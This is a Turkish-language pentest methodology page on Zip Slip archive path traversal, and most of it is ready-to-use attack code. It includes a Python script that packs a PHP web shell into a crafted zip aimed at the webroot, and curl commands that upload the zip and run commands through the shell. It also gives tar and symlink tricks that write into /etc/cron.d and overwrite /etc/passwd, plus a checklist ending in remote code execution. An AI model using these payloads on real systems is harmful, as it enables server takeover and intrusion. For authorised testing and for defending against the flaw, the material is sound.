Archive Extraction Path Traversal
generic zip-slip
Uygulama kullanıcı arşivini güvenmeden açıyorsa ../ veya mutlak path ile
webroot/SSH key üzerine yazılır. Classic Zip Slip → RCE.
Metodoloji
Section titled “Metodoloji”-
Upload/extract endpoint’ini ve açılan kütüphaneyi bul.
-
../ve mutlak path içeren arşiv üret. -
Yazılan dosyanın konumunu (web shell / cron / authorized_keys) doğrula.
-
Kod yürütme veya oturum primitifine çevir.
Zip Slip
Section titled “Zip Slip”# kötü entry isimli zippython3 <<'PY'import zipfilez=zipfile.ZipFile('evil.zip','w')z.writestr('../../../../var/www/html/shell.php','<?php system($_GET["c"]); ?>')z.close()PYzip -y evil.zip ../../../../tmp/pwnedcurl -F 'file=@evil.zip' https://TARGET/uploadcurl -sk 'https://TARGET/shell.php?c=id'Tar / symlink
Section titled “Tar / symlink”echo 'pwn' > xtar --absolute-names -cf evil.tar /etc/cron.d/pwn 2>/dev/null || tar -cf evil.tar --transform='s|^|../../../etc/cron.d/|' xln -s /etc/passwd linktar -cvhf evil.tar linkextract symlink → sonraki dosya /etc/passwd üzerine yazarPoC doğrulama
Section titled “PoC doğrulama”unzip -l evil.zippython3 -c 'import zipfilez=zipfile.ZipFile("evil.zip")print(z.namelist())'tar -tvf evil.tar# hedeftefind /var/www /tmp /home -name 'shell.php' 2>/dev/nullChecklist
Section titled “Checklist”[ ] extract endpoint bulundu[ ] ../ veya symlink arşivi kabul edildi[ ] yazılan path doğrulandı[ ] RCE/oturum elde edildi